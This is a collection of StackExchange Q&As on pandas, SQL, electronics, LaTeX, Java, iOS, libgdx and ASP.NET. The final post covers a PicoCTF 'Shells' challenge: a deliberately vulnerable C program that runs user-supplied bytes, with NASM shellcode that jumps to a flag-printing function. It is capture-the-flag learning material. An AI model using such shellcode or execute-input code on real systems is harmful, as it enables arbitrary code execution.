I have a dataframe 'df' that looks like this:
id date1 date2
1 11/1/2016 11/1/2016
1 11/1/2016 11/2/2016
1 11/1/2016 11/1/2016
1 11/1/2016 11/2/2016
1 11/2/2016 11/2/2016
2 11/1/2016 11/1/2016
2 11/1/2016 11/2/2016
2 11/1/2016 11/1/2016
2 11/2/2016 11/2/2016
2 11/2/2016 11/2/2016
What I would like to do is to groupby the id, then get the size for each id where date1=date2. The result should look like:
id samedate count
1 11/1/2016 2
1 11/2/2016 1
2 11/1/2016 2
2 11/2/2016 2
I have tried this:
gb=df.groupby(id').apply(lambda x: x[x.date1== x.date2]['date1'].size())
And get this error:
TypeError: 'int' object is not callable
You could certainly flag each instance where the date1 and date2 are equal, then count those flags for each id by each samedate, but I have to believe there is a groupby option for this.
A:
You can use boolean indexing first and then aggregate size:
df.date1 = pd.to_datetime(df.date1)
df.date2 = pd.to_datetime(df.date2)
df = df[df.date1 == df.date2]
gb=df.groupby(['id', 'date1']).size().reset_index(name='count')
print (gb)
id date1 count
0 1 2016-11-01 2
1 1 2016-11-02 1
2 2 2016-11-01 2
3 2 2016-11-02 2
Timings:
In [79]: %timeit (df[df.date1 == df.date2].groupby(['id', 'date1']).size().reset_index(name='count'))
100 loops, best of 3: 3.84 ms per loop
In [80]: %timeit (df.groupby(['id', 'date1']).apply(lambda x: (x['date1'] == x['date2']).sum()).reset_index())
100 loops, best of 3: 7.57 ms per loop
Code for timings:
#len df = 10k
df = pd.concat([df]*1000).reset_index(drop=True)
#print (df)
df.date1 = pd.to_datetime(df.date1)
df.date2 = pd.to_datetime(df.date2)
A:
You need to group on two columns and then apply to check if date1 equals date2
In [105]: df.groupby(['id', 'date1']).apply(lambda x: (x['date1'] == x['date2']).sum())
Out[105]:
id date1
1 11/1/2016 2
11/2/2016 1
2 11/1/2016 2
11/2/2016 2
dtype: int64
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Does Instagram Selection of Image Effect uses Modal View?
I'm trying to make a similar effect where only a part or 1/8 of the page is being occupied by a view controller. Do you guys have done something like this before?
I really appreciate any help.
A:
The image effect selection in Instagram is probably just a UIScrollView of buttons. It is not a full Modal Viewcontroller.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
How To Create a Complex Table in sqlServer?
Lets say I have a table called Employees , and each employee has a primarykey called (E_ID)
and I have another table called Positions , and each Position has a primarykey called (P_ID)
and I also have another table called offices , and each office has an ID called (O_ID)
Now I want to create a table that has three primaryKeys which are (E_ID) and (P_ID) and (O_ID) ...
ofcourse these three values must be withdrawl from the first three tables , but I just can't do it anyway ?
please help me because I neeeeeeed it badly
thanks verymuch
A:
If it was me, I think I'd just add P_ID and O_ID to Employees. The same Position might be filled by multiple employees, and there might be multiple Employees at a given Office, but it's unlikely (without using Cloning technology) that the same Employee would need to be replicated multiple times - thus, just add P_ID and O_ID to Employee and I think you're good to go. Of course, you'll need foreign key constraints from Employee to Position (P_ID) and Office (O_ID).
EDIT: After some thought, and recalling that I've had jobs where I filled multiple positions (although at the same location), I suppose it's conceivable that a single person might have fill multiple positions which might be at different locations.
If you're really set on having a junction table between Employees, Positions, and Offices - OK, create a table called EmployeePositionOffice (or something like that) which contains the three columns E_ID, P_ID, and O_ID. The primary key should be (E_ID, P_ID, O_ID), and each field should be foreign-keyed to the related base table.
EDIT:
Not sure about the SQL Server syntax, but in Oracle the first would be something like:
ALTER TABLE EMPLOYEES
ADD (P_ID NUMBER REFERENCES POSITIONS(P_ID),
O_ID NUMBER REFERENCES OFFICES(O_ID));
while the second would be something like
CREATE TABLE EMPLOYEES_POSISTIONS_OFFICES
(E_ID NUMBER REFERENCES EMPLOYEES(E_ID),
P_ID NUMBER REFERENCES POSITIONS(P_ID),
O_ID NUMBER REFERENCES OFFICES(O_ID),
PRIMARY KEY (E_ID, P_ID, O_ID));
Share and enjoy.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Is 2N9013 a good replacement for 2N3904?
I needed 2N3904 transistors, so I went to the few (poor) electronics shops we find in my country. They didn't have those, but they gave me 2N9013 and stated that those were equivalent NPN transistors. Both in TO-92 packages.
I've searched for a datasheet and found one from Promax-Johnton (who?) with "1W OUTPUT AMPLIFIER OF POTABLE RADIOS IN CLASS B PUSH-PULL OPERATION" which is worse than Chinese to me.
My questions are:
Is the 2N9013 a good replacement for my 2N3904?
What additional considerations I need to be aware?
Recommendations?
A:
How good a replacement is a rather complex question, mostly revolving around what you are looking to do with it. It looks from the datasheet that the 2n9013 has twice the Ic (continuous collector current) of 500mA, compared to a peak in the 3904 of 200mA. The 3904 is definitely intended to be a signal amplifier, and has a gain bandwidth product of 300MHz. The 9013 datasheet I found doesnt even have GBP, which to me tells me its much more intended as a current buffer, than as an amplifier. The fact that they tote the Hfe (essentially, but not the same as beta) as being linear suggests to me that it expects to have large signals fed into it, and not do much more than buffer an input to an output (hence the need for linear Hfe, but no mention of GBP). The other thing, that line 1W OUTPUT AMPLIFIER OF POTABLE RADIOS IN CLASS B PUSH-PULL OPERATION (I was as shocked to see the word potable is actually what they said on the datasheet. I'm like 90% sure they meant PORTABLE, not that its safe to DRINK the transistor). That line thats "worse than Chinese" means that its intended to be used with its PNP complimentary transistor the 2n9012 on the output stage (hence the class B push pull bit) of a power amplifier.
The long and short of it is this: its a good replacement as long as what you are replacing the 9013 with works the same for you as it did before. That is really all that matters. Generally tho, most designs are not THAT component parameter sensitive that they wont work with the wrong VAGUELY similar part.
Good luck!
A:
It is a little more powerful than the 2n3904. Most likely the current gain is less, and and maybe also the maximal voltages.
Depending on your application that may be OK, which is quite likely if it is not too demanding. The correct thing would for you to check the numbers in the data sheet.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
How to prove the Pythagoras theorem using vectors
I've got a question concerning how to proof the Pythagoras theorem using the following assumption:
$x$ is perpendicular to $y$ (if and only if) $||x+y||^2 = ||x||^2 + ||y||^2$,
where $x$ and $y$ are vectors.
I have a basic understanding of linear algebra, however I'm a beginner with this. The question provides hints how to prove the above mentioned equation.
Namely that I should use the properties of the dot product and the definition of the norm of a vector.
Those being symmetry, scaling and distributivity as the dot product properties and the norm of a vector being the squared root of the dot product between the same vector.
I was thinking about using the fact that if a vector is perpendicular to another vector the dot product between those vectors should be 0. But that is not provided as a hint so I'm not sure. I know the under lying thought behind it is the cosine rule for vectors, that being:
$$x\cdot y = ||x||\,||y|| \cos(\theta)$$
If the angle between the two vectors is perpendicular you should use $\cos(\pi/2)$ which is $0$ and $||x||\cdot 0 = 0$ and $||y||\cdot 0 = 0$ with the vectors not necessarily being $0$. Thus $x\cdot y = 0$.
How would I apply this to the equation I first mentioned to prove the Pythagoras theorem?
I have a few more thoughts on how I could prove this but I'm not sure if they're correct.
I hope someone could point me in the right direction.
A:
$x,y$ are perpendicular if and only if $x\cdot y=0$. Now, $||x+y||^2=(x+y)\cdot (x+y)=(x\cdot x)+(x\cdot y)+(y\cdot x)+(y\cdot y)$. The middle two terms are zero if and only if $x,y$ are perpendiculat. So, $||x+y||^2=(x\cdot x)+(y\cdot y)=||x||^2+||y||^2$ if and only if $x,y$ are perpendicular.
A:
The definition of $||x||$ for vectors is:
$$||x|| = \sqrt{x\cdot x}.$$
So, you have that
\begin{align*}
||x+y||^2 &= (x+y)\cdot(x+y) &\text{(by definition)}\\
&= x\cdot x + x\cdot y + y\cdot x + y\cdot y
&\text{(by distributivity)}\\
&= x\cdot x + y\cdot y + 2(x\cdot y) &\text{(by symmetry)}\\
&= ||x||^2 + ||y||^2 + 2(x\cdot y) &\text{(by definition)}\\
&= ||x||^2 + ||y||^2 + 2||x||\,||y||\cos(\theta),
\end{align*}
where $\theta$ is the angle between $x$ and $y$.
This holds in any case.
So, $||x+y||^2 = ||x||^2 + ||y||^2$ if and only if $2||x||\,||y||\cos(\theta)=0$. One possibility is $||x||=0$; another is $||y||=0$; and the final one is $\cos(\theta)=0$. So the equality holds if and only if one of the following happens:
$||x||=0$;
$||y||=0$; or
$\cos(\theta)=0$ where $\theta$ is the angle between $x$ and $y$, $x\neq 0$, $y\neq 0$.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Change tableview row text and image color
I have one tableView. In that I have created custom cell. Now I want to achieve exactly the same effect as shown in image. I tried a lot using selectionStyle and other stuffs, but I am not succeed.
I want to change the backgroundColor, fontcolor and imagecolor. How can I achieve this? This is the code of my UITableViewCell.
import UIKit
public class BaseTableViewCell : UITableViewCell {
class var identifier: String { return String.className(self) }
public required init?(coder aDecoder: NSCoder) {
super.init(coder: aDecoder)
}
override init(style: UITableViewCellStyle, reuseIdentifier: String?) {
super.init(style: style, reuseIdentifier: reuseIdentifier)
}
public override func awakeFromNib() {
self.selectionStyle = UITableViewCellSelectionStyle.Gray
}
public class func height() -> CGFloat {
return 40
}
public func setData(data: Any?, image : String!, alignment: NSTextAlignment!, font: UIColor) {
self.textLabel?.font = UIFont(name: "Montserrat-Light", size: 12)
self.textLabel?.textAlignment = alignment
self.textLabel?.textColor = font
if let menuText = data as? String {
self.textLabel?.text = menuText
}
self.imageView?.image = UIImage(named: image)
}
override public func setHighlighted(highlighted: Bool, animated: Bool) {
if highlighted {
} else {
self.alpha = 1.0
}
}
// ignore the default handling
override public func setSelected(selected: Bool, animated: Bool) {
}
}
Thank you.
A:
Add this:
override public func setSelected(selected: Bool) {
super.setSelected(selected)
// Do your customization here
// changing text color
self.textLabel?.textColor = selected ? UIColor.blueColor() : UIColor.blackColor()
}
|
{
"pile_set_name": "StackExchange"
}
|
Q:
LINQ for Java tool
Would a LINQ for java be a useful tool? I have been working on a tool that will allow a Java object to map to a row in a database.
Would this be useful for Java
programmers?
What features would be
useful?
A:
LINQ for Java would be lovely, but the problem is the language integration.
Java doesn't have anything as concise as lambda expressions, and they're one of the bedrocks of LINQ. I suppose they could layer the query expression support on top of normal Java without lambda expressions, by making the expansion create anonymous inner classes - but it would be pretty hideous. You'd also need expression trees if you wanted to do anything like LINQ to SQL.
Checked exceptions might get in the way, but we'd have to see. The equivalent of IQueryable would need to have some sort of general checked exception - or possibly it could be generic in both the element type and the exception type...
Anyway, this is all pie-in-the-sky - given the troubles the Java community is having with closures, I think it would be folly to expect anything like LINQ in Java itself earlier than about 2012. Of course, that's not to say it wouldn't be possible in a "Java-like" language. Groovy has certain useful aspects already, for instance.
For the library side, Hibernate already provides a "non-integrated" version of a lot of the features of LINQ to SQL. For LINQ to Objects, you should look at the Google Java Collections API - it's a lot of the same kind of thing (filtering, projecting etc). Without lambdas it's a lot fiddlier to use, of course - but it's still really, really handy. (I use the Google Collections code all the time at work, and I'd hate to go back to the "vanilla" Java collections.)
A:
It's worth noting that Scala 2.8 is going to have LINQ support...
Actually, scala standart collections provide API that works like LINQ-for-Objects in some sense. Here is the example:
List("Paris","Berlin","London","Tokyo")
.filter(c => c.endsWith("n"))
.map(c => c.length)
// result would be length of the words that ends
// with "n" letter ("Berlin" and "London").
Don't be scared of new-line-dot syntax: you can write code in plain old style:
Array(1,2,3,4,5,6).map(x => x*x)
And there is a number of projects that provide close to LINQ-to-SQL syntax. For example, snippet taken from Squeryll:
import Library._
using(session) {
books.insert(new Author(1, "Michel","Folco"))
val a = from(authors)(a=> where(a.lastName === "Folco") select(a))
}
// but note that there is more code behind this example
A:
For a more general approach to the issue, consider using Querydsl.
It provides a LINQ-style syntax with support for JPA/Hibernate, JDO, SQL and Java Collection backends.
I am the maintainer of Querydsl, so this answer is biased.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Where is apache web root directory on Ubuntu?
On Ubuntu Trusty, which is the apache root directory for web pages?
A:
The default document root for Apache is /var/www/ (before Ubuntu 14.04) or /var/www/html/ (Ubuntu 14.04 and later).
See the file /usr/share/doc/apache2/README.Debian.gz for some explanation on how the Apache configuration on Ubuntu is done.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Using WebClient in ASP.NET 5
I am working in the VS15 beta and trying to use WebClient. While System.Net is referenced, and the intellisense suggests the WebClient class is available, on build I get the following error:
The type or namespace name 'WebClient' does not exist in the namespace 'System.Net' (are you missing an assembly reference?) MyProj.ASP.NET Core 5.0 HomeController.cs
I am doing the following simplistic code:
var client = new System.Net.
var html = client.DownloadString(url);
When I go to the definition of Web Client, it shows me the source. Not quite sure what the issue is - is WebClient moved? I am struggling to find the resolution.
Thanks!
A:
Not sure about WebClient, but you can use System.Net.Http.HttpClient to make web requests as well.
Add these references to the project.json:
"frameworks": {
"aspnet50": {
"frameworkAssemblies": {
"System.Net.Http": "4.0.0.0"
}
},
"aspnetcore50": {
"dependencies": {
"System.Net.Http": "4.0.0-beta-*"
}
}
},
And then here's how to call it from an MVC 6 action method:
using System.Net.Http;
using System.Net.Http.Headers;
using System.Threading.Tasks;
using Microsoft.AspNet.Mvc;
namespace WebApplication50.Controllers
{
public class HomeController : Controller
{
public async Task<IActionResult> Index()
{
var httpClient = new HttpClient();
httpClient.DefaultRequestHeaders.UserAgent.Add(new ProductInfoHeaderValue("MyClient", "1.0"));
var result = await httpClient.GetStringAsync("http://www.microsoft.com");
...
return View();
}
}
}
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Centering numbers in table
I would like to generate table which looks approximately (not necessarily) like
If you have any suggestion for this sort of data representation, don't hesitate to tell. So far I have come up with
\documentclass[12pt]{book}
\usepackage{booktabs}
\usepackage{caption}
\usepackage{siunitx}
\begin{document}
\begin{table}[h!]
\centering
\captionsetup
{
singlelinecheck = off,
justification = raggedright,
labelfont = bf,
}
\begin{minipage}[b]{1.0\linewidth}
\caption{ABC}%
\begin{tabular}{@{}l SSSSSSSSS }
\toprule
& \multicolumn{2}{l}{2010} & \multicolumn{2}{l}{2011} & \multicolumn{2}{l}{2012} & \multicolumn{2}{l}{2013} \\
\cmidrule{2-9}
Name & {bil}~\$ & \% & {bil}~\$ & \% & {bil}~\$ & \% & {bil}~\$ & \% \\
\midrule
{Aaaaaaaaaaaa} & 20 456 & 1.2 & 20150 & 90.5 & 20150 & 90.5 & 20150 & 90.5 \\
{Bbbbbbb} & 5 256 & 21.3 \\
{Ccccccc} & 58 & 0.5 \\
{Dddd} & 125 000\\
{Eeeeeeeeeee} & \\
{FFFFFF} & \\
{ggggggg} & \\
\bottomrule
$\sum$ & \\
\bottomrule
\end{tabular}
\medskip \noindent Reference: John Johnson
\label{1111}
\end{minipage}
\end{table}
\end{document}
which unfortunately results in two problems:
it doesn't center the data entries, nor the columns' names "year", "bil $" and "%" right
table is too wide. Should I decrease font size in the table or is there anything better to do?
EDIT: Another code
\documentclass[12pt]{book}
\usepackage{booktabs}
\usepackage{caption}
\usepackage{siunitx}
\begin{document}
\begin{tabular}{ccccccccccccccc}
\toprule
\multicolumn{1}{l}{} &
\multicolumn{2}{c}{2010} &
\multicolumn{2}{c}{2011} &
\multicolumn{2}{c}{2012} &
\multicolumn{2}{c}{2013} \\
\cmidrule(lr){2-3}
\cmidrule(lr){4-5}
\cmidrule(lr){6-7}
\cmidrule(lr){8-9}
&
\multicolumn{1}{c}{bil~\$} &
\multicolumn{1}{c}{\%} &
\multicolumn{1}{c}{bil~\$} &
\multicolumn{1}{c}{\%} &
\multicolumn{1}{c}{bil~\$} &
\multicolumn{1}{c}{\%} &
\multicolumn{1}{c}{bil~\$} &
\multicolumn{1}{c}{\%} \\
\midrule
{Aaaaaaaaaaaa} & 20 456 & 1.2 & 20 456 & 1.2 & 20 456 & 1.2 & 20 456 & 1.2 \\
{Bbbbbbb} & 5 256 & 21.3 & 5 256 & 21.3& 5 256 & 21.3& 5 256 & 21.3 \\
{Ccccccc} & 58 & 0.5 & 58 & 0.5& 58 & 0.5& 58 & 0.5 \\
{Dddd} & 125 000 \\
{Eeeeeeeeeee} & \\
{FFFFFF} & \\
{ggggggg} & \\
\bottomrule
{$\sum$} \\
\bottomrule
\end{tabular}
\end{document}
enter code here
A:
I'm not a pro in this area, but here is a workaround.
First of all, to avoid the large width of the table, you can tell siunitx what are those columns supposed to be. *{4}{…} is just to avoid writing four times the same. And S[table-format = 5.0, group-minimum-digits = 3] S[table-format = 2.1] means that the first column has numbers with 5 digits before the comma and none after and the second column two digits before and one after. The group-minimum-digits = 3, as suggested by egreg, tells siunitx to add a space after every three digits (even if the number has only 4 digits).
To center the cells you have to enclose them in {} (see siunitx documentation).
Here is the code.
\documentclass{scrbook}
\usepackage{booktabs}
\usepackage{caption}
\usepackage{siunitx}
\begin{document}
\begin{table}[h!]
\centering
\captionsetup{
singlelinecheck = off,
justification = raggedright,
labelfont = bf,
}
\begin{minipage}[b]{1.0\linewidth}
\caption{ABC}%
\begin{tabular}{@{}l *{4}{S[table-format = 5.0, group-minimum-digits = 3] S[table-format = 2.1]} }
\toprule
& \multicolumn{2}{c}{2010} & \multicolumn{2}{c}{2011} & \multicolumn{2}{c}{2012} & \multicolumn{2}{c}{2013} \\
\cmidrule(lr){2-3}\cmidrule(lr){4-5}\cmidrule(lr){6-7}\cmidrule(lr){8-9}
Name & {bil \$} & {\%} & {bil \$} & {\%} & {bil \$} & {\%} & {bil \$} & {\%} \\
\midrule
Aaaaaaaaaaaa & 20 456 & 1.2 & 20150 & 90.5 & 20150 & 90.5 & 20150 & 90.5 \\
Bbbbbbb & 5256 & 21.3 \\
Ccccccc & 58 & 0.5 \\
Dddd & 125 000\\
Eeeeeeeeeee & \\
FFFFFF & \\
ggggggg & \\
\bottomrule
$\sum$ & \\
\bottomrule
\end{tabular}
\medskip \noindent Reference: John Johnson
\label{1111}
\end{minipage}
\end{table}
\end{document}
|
{
"pile_set_name": "StackExchange"
}
|
Q:
libgdx non continous rendering
According to the documentation (https://github.com/libgdx/libgdx/wiki/Continuous-&-non-continuous-rendering) it should be possible to restrict the render calls that are made. However the render method is still beeing called every time I move the mouse. I would like to know whether its possible to restrict the rendering to only be done if some action is happening (or on demand, by adding the necesarry requestRendering ).
In the example below I set continous rendering to false and also called setActionsRequestRendering on the stage to set it to false.
public class TestApp extends ApplicationAdapter {
private Stage stage;
private Drawable createDrawable(Color color) {
Pixmap labelColor = new Pixmap(100, 100, Pixmap.Format.RGB888);
labelColor.setColor(color);
labelColor.fill();
return new TextureRegionDrawable(new Texture(labelColor));
}
@Override
public void create() {
Gdx.graphics.setContinuousRendering(false);
stage = new Stage();
stage.setActionsRequestRendering(false);
Gdx.input.setInputProcessor(stage);
Drawable imageUp = createDrawable(Color.WHITE);
Drawable imageOver = createDrawable(Color.RED);
ImageButtonStyle style = new ImageButtonStyle();
style.imageUp = imageUp;
style.imageOver = imageOver;
ImageButton button = new ImageButton(style);
button.setSize(100, 100);
button.setPosition(50, 50);
stage.addActor(button);
}
@Override
public void render() {
System.out.println("render");
Gdx.gl.glClearColor(0f, 0f, 0f, 1.f);
Gdx.gl.glClear(GL20.GL_COLOR_BUFFER_BIT | GL20.GL_DEPTH_BUFFER_BIT);
stage.act();
stage.draw();
}
@Override
public void dispose () {
stage.dispose();
}
public static void main (String[] arg) {
LwjglApplicationConfiguration config = new LwjglApplicationConfiguration();
config.fullscreen = false;
config.width = 200;
config.height = 200;
new LwjglApplication(new TestApp(), config);
}
}
According to the docu:
If continuous rendering is set to false, the render() method will be
called only when the following things happen.
An input event is triggered
Gdx.graphics.requestRendering() is called
Gdx.app.postRunnable() is called
I assume that moving the mouse counts as a input event.
I would like that the render method is only called if the button actually needs to change its render state (button up / button over). If thats not possible at least the rendering should not be called when the mouse position is not hitting the button.
A:
According to @Morchul suggestion, I'll give remembering the state a try.
Thanks to @Tenfour04 for pointing out the double buffering.
I added a InputListener in the create method:
(changed is new global variable / default: true)
(count is another global variable / default: 0)
button.addListener(new InputListener() {
public void enter(InputEvent event, float x, float y, int pointer, Actor fromActor) {
changed = true;
count = 0;
}
public void exit(InputEvent event, float x, float y, int pointer, Actor toActor) {
changed = true;
count = 0;
}
});
and changed the begining of the draw method
stage.act();
if (changed == false) {
return;
} else if (++count == 2) {
changed = false;
}
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Shells CTF segfault - wrong address
PicoCTF 2017 Shells
I have a binary and source:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#define AMOUNT_OF_STUFF 10
//TODO: Ask IT why this is here
void win(){
system("/bin/cat ./flag.txt");
}
void vuln(){
char * stuff = (char *)mmap(NULL, AMOUNT_OF_STUFF, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
if(stuff == MAP_FAILED){
printf("Failed to get space. Please talk to admin\n");
exit(0);
}
printf("Give me %d bytes:\n", AMOUNT_OF_STUFF);
fflush(stdout);
int len = read(STDIN_FILENO, stuff, AMOUNT_OF_STUFF);
if(len == 0){
printf("You didn't give me anything :(");
exit(0);
}
void (*func)() = (void (*)())stuff;
func();
}
int main(int argc, char*argv[]){
printf("My mother told me to never accept things from strangers\n");
printf("How bad could running a couple bytes be though?\n");
fflush(stdout);
vuln();
return 0;
}
The goal is to call win() function.
So:
gdb ./shells
I have address of win function: 0x08048540
then i create shellcode:
section .text
global _start
_start:
mov eax,0x08048540
jmp eax
section .data
after compile an use sehllcode i have the flag.
But when i compile source code instead of using given binary:
gcc -m32 -fno-stack-protector -z execstack shells.c -o shells2
This not works anymore, segfault all the time.
Why with binary file my method works and with compiled source manually not working?
PS. Flag is in the right place.
A:
I think your shellcode is missing the specifier for the bit-ness of the shellcode. You're compiling the shells in 32 bits, but for the nasm (I'm assuming you're using that) doesn't have anything. I'm assuming you're compiling in bin mode and if you check the documentation
...the bin output format defaults to 16-bit mode in anticipation of it being used most frequently to write DOS .COM programs, DOS .SYS device drivers and boot loader software.
So what you need to do is:
[BITS 32]
section .text
global _start
_start:
mov eax,0x08048540 ; need to put correct address here of course
jmp eax
section .data
..compile & voilà
|
{
"pile_set_name": "StackExchange"
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.